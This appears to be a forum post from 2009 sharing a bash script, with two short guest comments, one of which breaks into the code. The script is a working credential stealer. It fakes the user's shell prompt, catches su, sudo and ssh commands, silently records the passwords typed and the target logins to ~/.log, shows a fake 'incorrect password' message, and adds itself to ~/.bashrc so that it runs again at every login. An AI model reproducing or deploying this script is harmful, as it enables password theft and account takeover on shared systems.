- 001
- 002
- 003
- 004
- 005
- 006
- 007
- 008
- 009
- 010
- 011
- 012
- 013
- 014
- 015
- 016
- 017
- 018
- 019
- 020
- 021
- 022
- 023
- 024
- 025
- 026
- 027
- 028
- 029
- 030
- 031
- 032
- 033
- 034
- 035
- 036
- 037
- 038
- 039
- 040
- 041
- 042
- 043
- 044
- 045
- 046
- 047
- 048
- 049
- 050
- 051
- 052
- 053
- 054
- 055
- 056
- 057
- 058
- 059
- 060
- 061
- 062
- 063
- 064
- 065
- 066
- 067
- 068
- 069
- 070
- 071
- 072
- 073
- 074
- 075
- 076
- 077
- 078
- 079
- 080
- 081
- 082
- 083
- 084
- 085
- 086
- 087
- 088
- 089
- 090
- 091
- 092
- 093
- 094
- 095
- 096
- 097
- 098
- 099
- 100
#!/bin/bash
cm=""
function psw_su()
{
t=`echo $1 | tr '_' ' '`
echo -n $t
read -s ps >> ~/.log
echo "password: " >> ~/.log
#safe password to log file
echo $ps >> ~/.log
echo
sleep 4s
echo "su: incorrect password"
$cm
# exit 0
};
function zar()
{
a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
b=$0
case $a in
$b)
;;
*)
echo $0 >> ~/.bashrc
;;
esac
};
zar
while :
do
psu="Password: "
psudo="root's_password:"
ht=$HOST
un=$USER
pw=`pwd`
case $pw in
$HOME)
#tilda ~ this is home directory
pw="~"
;;
*)
esac
#string of console of shell
nm=$USER"@"$HOST":"$pw"> "
echo -n $nm
echo -n " "
#enter command
cm=""
read -e cm
# cm=$1
#switch case
case $cm in
"")
;;
#authentficate as root
"su")
psw_su $psu
;;
#authentificat as root
"su -l root")
psw_su $psu
;;
#authentificate as other user
`echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _l-_us | rev`
echo "Login: "$c2 >> ~/.log
psw_su $psu
;;
#simple sudo as authentificate as root
"sudo bash")
psw_su $psudo
;;
`echo $cm | grep ssh`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _hss | rev`
echo "loginSSH: "$c2>> ~/.log
echo -n "Password: "
read -s ps
echo $cm >> ~/.log
echo "Password SSH:"$ps >> ~/.log
sleep 2s
echo
$cm
exit 0
;;
`echo $cm | grep sudo | grep sh`)
psw_su $psudo
;;
*)
esac
echo $cm >> ~/.log
#$cm >> ~/.log
#exec command
case $cm in
"")
cm="echo -n"
;;
guest 28.04.2009 15:25 # 0
не всё поместилось
esac
t="wc -l"
u=`$cm | $t`
/bin/bash -i -c "$cm ; exit | head -n $u"
done
exit 0
guest 02.05.2009 13:52 # 0
А похоже на индуский код?